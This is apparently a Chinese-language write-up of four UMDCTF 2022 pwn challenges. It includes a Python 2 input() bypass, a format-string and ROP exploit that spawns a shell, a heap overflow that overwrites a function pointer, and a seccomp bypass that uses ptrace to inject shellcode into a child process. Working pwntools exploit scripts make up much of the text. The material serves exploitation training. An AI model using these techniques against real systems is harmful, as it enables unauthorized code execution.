umdctf2022

umdctf

Legacy

nc 0.cloud.chals.io 28964

tag: python2

概要

python2的input函数漏洞

分析

输入字符类型直接报错,利用报错信息发现关键if (input(str(3-i) + " chances left! \n") == secret):。直接输入secret即可绕过。

1
2
3
4
5
6
7
8
9
10
# nc 0.cloud.chals.io 28964
I bet you can't guess my *secret* number!
I'll give you hint, its between 0 and 0,1000000000000000514!
aaaa
3 chances left!
Traceback (most recent call last):
File "/home/ctf/legacy.py", line 15, in <module>
if (input(str(3-i) + " chances left! \n") == secret):
File "<string>", line 1, in <module>
NameError: name 'aaaa' is not defined
1
2
3
4
5
6
7
# nc 0.cloud.chals.io 28964
I bet you can't guess my *secret* number!
I'll give you hint, its between 0 and 0,1000000000000000514!
secret
3 chances left!
No way!
UMDCTF{W3_H8_p7th0n2}

Classic Act

tag: ROP fmt

checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *

context.os = 'linux'
context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = 'debug'

debug = 1
filename = 'classicact'

if debug == 1 :
p = process(filename)
if debug == 2
p = remote('node4.buuoj.cn',20002)
if debug == 3:
p = remote('127.0.0.1',12345)
#23946

elf = ELF(filename)
libc = elf.libc

pop_rdi = 0x00000000004013a3
ret = 0x000000000040101a
payload = '%19$paaaa%25$p'
p.sendlineafter('Please enter your name!',payload)
p.recvuntil('Hello:\n')
canary = int(p.recv(18),16)
p.recvuntil('aaaa')
libc_main = int(p.recv(14),16) - 240

libc_base = libc_main - libc.sym['__libc_start_main']
sys = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search('/bin/sh').next()
log.success('canary: ' + hex(canary))

payload = 'Play in UMDCTF!'
payload = payload.ljust(0x48)
payload += p64(canary)*2 + p64(pop_rdi) + p64(bin_sh) + p64(sys)
p.sendlineafter('today?',payload)

p.interactive()

The Show Must Go On

We are in the business of entertainment, the show must go on! Hope we can find someone to replace our old act super fast…

Author: WittsEnd2

1
0.cloud.chals.io 30138

tag: heap-overflow

利用思路

一开始发现了向程序输入 showDescription 时有溢出。而且程序给出了一个 win 函数(我一开始还没有发现,因为函数实在太多,没有注意到)。只要把win函数地址覆写到mainAct + 0x60上替换掉tellAJoke函数我们就可以获得flag。而我们需要showDescription = malloc_set(v22 + 8);在申请堆块的时候在mainAct的上方。而message1message3是在我们申请之前free了。所以我们只需要申请的size和这两个堆块的一样,就可以达到我们的要求。

1
2
3
4
5
6
7
8
9
10
11
*(_QWORD *)(mainAct + 0x60) = tellAJoke;
currentAct = mainAct;
free(message1);
free(message3);
puts("How long do you want the show description to be?");
_isoc99_scanf((unsigned int)"%d", (unsigned int)&v22, v17, v18, v19, v20);
showDescription = malloc_set(v22 + 8);
puts("Describe the show for us:");
getchar();
fgets(showDescription, 500LL, stdin);
actList = mainAct;

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

context.os = 'linux'
context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = 'debug'

debug = 1
filename = 'theshow'

if debug == 1 :
p = process(filename)
if debug == 2:
p = remote('node4.buuoj.cn',20002)
if debug == 3:
p = remote('127.0.0.1',12345)
#23946

elf = ELF(filename)
libc = elf.libc

mainAct = 0x0000000006F76C0
showDescription = 0x0000000006E84F0
win = 0x000000000400BED

p.sendlineafter('What is the name of your act?','aaaa')
p.sendlineafter('How long do you want the show description to be?',str(0x80))
payload = 'f'*0x88 + p64(0x71) + 'f'*0x60 + p64(win)
p.sendlineafter('Describe the show for us:',payload)

p.interactive()

Tracestory

I am trying to figure out the end of this story, but I am not able to read it. Could you help me figure out what it is?

Author: WittsEnd2

1
0.cloud.chals.io 15148

tag: seccomp shellcode

概要

一个seccomp题目,父进程写汇编利用ptraceshellcode注入到子进程的text段中来绕过seccomp

漏洞分析

seccomp规则之前,父进程就fork出了子进程。后父进程读取用户输入,调用setup_seccomp,然后执行受seccomp过滤的代码。

利用ptrace可以不受seccomp的限制,控制子进程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// seccomp-tools dump ./trace_story
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x18 0xc000003e if (A != ARCH_X86_64) goto 0026
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x15 0xffffffff if (A != 0xffffffff) goto 0026
0005: 0x15 0x13 0x00 0x00000003 if (A == close) goto 0025
0006: 0x15 0x12 0x00 0x00000004 if (A == stat) goto 0025
0007: 0x15 0x11 0x00 0x00000005 if (A == fstat) goto 0025
0008: 0x15 0x10 0x00 0x00000006 if (A == lstat) goto 0025
0009: 0x15 0x0f 0x00 0x0000000a if (A == mprotect) goto 0025
0010: 0x15 0x0e 0x00 0x0000000c if (A == brk) goto 0025
0011: 0x15 0x0d 0x00 0x00000015 if (A == access) goto 0025
0012: 0x15 0x0c 0x00 0x00000018 if (A == sched_yield) goto 0025
0013: 0x15 0x0b 0x00 0x00000020 if (A == dup) goto 0025
0014: 0x15 0x0a 0x00 0x00000021 if (A == dup2) goto 0025
0015: 0x15 0x09 0x00 0x00000038 if (A == clone) goto 0025
0016: 0x15 0x08 0x00 0x0000003c if (A == exit) goto 0025
0017: 0x15 0x07 0x00 0x0000003e if (A == kill) goto 0025
0018: 0x15 0x06 0x00 0x00000050 if (A == chdir) goto 0025
0019: 0x15 0x05 0x00 0x00000051 if (A == fchdir) goto 0025
0020: 0x15 0x04 0x00 0x00000060 if (A == gettimeofday) goto 0025
0021: 0x15 0x03 0x00 0x00000065 if (A == ptrace) goto 0025
0022: 0x15 0x02 0x00 0x00000066 if (A == getuid) goto 0025
0023: 0x15 0x01 0x00 0x00000068 if (A == getgid) goto 0025
0024: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0026
0025: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0026: 0x06 0x00 0x00 0x00000000 return KILL

漏洞利用

子进程是一个死循环,我们可以覆盖循环开头的text段。

ptrace函数附加到子进程流程:

  • 追踪指定pid的进程:ptrace(PTRACE_ATTACH, CHILD_PID, 0, 0)
  • 等待子进程附加wait(0)
  • 往内存地址写入一个字节,地址由addr给出:ptrace(PTRACE_POKETEXT, CHILD_PID, CODE_ADDRESS, 8_BYTES_OF_CODE)
  • 结束追踪:ptrace(PTRACE_DETACH, CHILD_PID, 0, 0)
  • attach -> write_text -> detach -> go back to beginning

ptrace函数参考

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context.binary = ELF('trace_story')
context.log_level = 'debug'
p = process('./trace_story')

p.recvuntil("pid: ")
pid = int(p.recvline().strip())
print("pid: ",pid)

payload = "begin:"
payload += shellcraft.ptrace(constants.linux.PTRACE_ATTACH, pid, 0, 0)
binsh = asm(shellcraft.sh())
start_addr = 0x401789

for i in range(0, int(len(binsh)/8)):
shellcode = u64(binsh[i * 8:8+(i*8)])
payload += shellcraft.ptrace(constants.linux.PTRACE_POKETEXT, pid, start_addr + (i * 8), shellcode)
payload += shellcraft.ptrace(constants.linux.PTRACE_DETACH, pid, 0, 0)
payload += """
jmp begin
"""

p.sendlineafter(b'Input: \n', asm(payload))

p.interactive()

参考1 参考2